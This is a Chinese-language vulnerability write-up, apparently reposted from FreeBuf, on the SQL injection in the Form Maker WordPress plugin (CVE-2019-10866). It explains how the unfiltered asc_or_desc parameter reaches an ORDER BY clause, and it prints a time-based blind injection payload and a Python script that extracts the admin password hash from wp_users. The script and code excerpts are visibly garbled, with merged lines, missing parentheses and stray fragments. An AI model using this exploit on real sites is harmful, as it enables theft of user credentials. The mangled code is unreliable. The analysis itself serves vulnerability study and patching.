科技

WordPress外掛Form Maker SQL注入漏洞分析

最近WordPress的外掛出現各種姿勢漏洞(都是外掛,不知何時能有核心漏洞出現),Easy WP SMTP、 Social Warfare、Form Maker等等,其中Form Maker1.13.3之前版本存在sql注入漏洞(CVE-2019-10866)。最近一直在看cms的漏洞程式碼,於是順手在網上找了該外掛的影響版本與修補後的版本進行了程式碼分析,並且在本地對該漏洞進行了分析復現和POC程式碼編寫除錯。下面是分析和復現的過程:

本地環境:Wordpress5.1 + Form Maker1.13.3

在本地搭建WordPress5.1版本,然後上網找一下FormMaker的歷史版本。安裝的時候選擇上傳安裝,有可能會有上傳大小限制,需要改一下php.ini中的配置資訊。安裝完成後記得要把自動更新關掉,要把自動更新關掉,要把自動更新關掉,重要的事情說三遍。然後就可以專心的進行程式碼審計和漏洞復現了。

漏洞位置:\wp-content\plugins\form-maker\admin\models\Submissions_fm.php

在cve的資訊中作者提到在該路徑下的php檔案存在問題,直接定位檔案進行審計。

... $order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id'); $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc'); if ( $order_by == 'group_id'or $order_by == 'date'or $order_by == 'ip' ) { $orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . ''; }elseif ( $order_by == 'display_name'or $order_by == 'user_email' ) { $orderby = ' ORDER BY (SELECT ' . $order_by . ' FROM ' . $wpdb->prefix . 'users WHERE ID=user_id_wd) ' . $asc_or_desc . ''; }else { $orderby = ""; }在上述程式碼中存在問題的位置:

$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc'); ... if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) { $orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . ''; ...程式碼中對所有的引數都有判斷檢測,唯獨對$asc_or_desc引數什麼都沒做,把傳進來的引數直接和查詢語句拼接在了一起(危險警告)。再看一下其他位置有沒有類似的危險操作,或者上下文呼叫中是否對這個引數有檢測(拼接前都沒有估計其他位置也不能有了)?

對整個外掛工程全文搜尋$asc_or_desc,繼續尋找。

... $group_ids = ((isset($labels_parameters[6])) ? $labels_parameters[6] : NULL); $params['group_id_s'] = $this->model->sort_group_ids(count($params['sorted_label_names']), $group_ids); $params['where_choices'] = $labels_parameters[7]; $params['searched_ids'] = $labels_parameters[8] ? implode(',', $labels_parameters[8]) : ''; $params['groupids'] = $labels_parameters[8] ? array_reverse($labels_parameters[8]) : array; $params['order_by'] = $order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id'); $params['asc_or_desc'] = $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc'); ...if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) { $is_sort = true; $order_by = $_POST['order_by']; $asc_or_desc = $_POST['asc_or_desc']; ...Foreach ( $lists as $list_key => $list_val ) {If ( !Empty($_GET[$list_key]) ) { $lists[$list_key] = urlencode(WDW_FM_Library(self::PLUGIN)->get($list_key)); $pagination_url_args[$list_key] = WDW_FM_Library(self::PLUGIN)->get($list_key); $pagination_url_args[‘is_search’] = 1; } } $pagination_url = array_merge(rray(‘page’ => $this->page, ‘task’ => ‘display’, ‘current_id’ => $id, ‘order_by’ => $order_by, ‘asc_or_desc’ => $asc_or_desc),pagination_url_args); params[‘pagination_url’] = add_query_arg( $pagination_url , admin_url(‘admin.php’) );危險警告X2:

$params['asc_or_desc'] = $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');... if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) { $is_sort = true; $order_by = $_POST['order_by']; $asc_or_desc = $_POST['asc_or_desc']; ... $pagination_url = array_merge(rray('page' => $this->page, 'task' => 'display', 'current_id' => $id, 'order_by' => $order_by, 'asc_or_desc' => $asc_or_desc),pagination_url_args);發現引數‘asc_or_desc’,程式碼中同樣沒有對該引數進行過濾或是合法性的判斷(不能相信使用者任何的輸入)。

通過以上兩個漏洞的位置大致可以知道sql注入的產生原因了,可利用$asc_or_desc引數構造sql注入,形如:

,(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+

在這之前還要解決一個重要的問題就是找到傳參的位置,簡單的辦法就是在本地搭建的環境中使用產生漏洞外掛的各種功能,檢視每個功能傳的引數,如圖:

根據該漏洞路徑,參照Daniele Scanu @ Certimeter Group的漏洞利用指令碼,可對WordPress資料庫進行查詢,最終注入指令碼如下,以查詢wp_user中使用者密碼為例:

注入指令碼:import requestsimport timeurl_vuln = 'http://ip/wordpress/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&group_id&asc_or_desc='#group_id&group_id&asc_or_desc='session = requests.Sessiondictionary = '@._-$/\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'flag = Trueusername = ""password = ""temp_password = ""TIME = 1deflogin(username, password): payload = {'log': username,'pwd': password,print"3c"print strdefget_admin_pass: ch_temp = ch start_time = time.time r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b') elapsed_time = time.time - start_timeif elapsed_time >= TIME: flag = Truebreak len_pwd += 1login(username, password)get_admin_passprint_string("[+] Password found: " + temp_password)注意:因網路原因需要設定合理的TIME時長。

利用指令碼可查詢當前網站下使用者所有敏感資料。修補方式:在1.13.3版本以後,該外掛對引數$asc_or_desc進行了嚴格的限制。

在最近的cms程式碼審計學習中也發現了一些應為過濾稽核不嚴導致的sql注入漏洞,在程式碼編寫的過程中萬萬不可相信使用者任何的輸入,需要嚴格的過濾稽核才能帶入到程式中執行,否則就會產生安全隱患。

以上。

*本文原創作者:Kriston,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

精彩推薦

Reference:科技日報

看更多!請加入我們的粉絲團

轉載請附文章網址

不可錯過的話題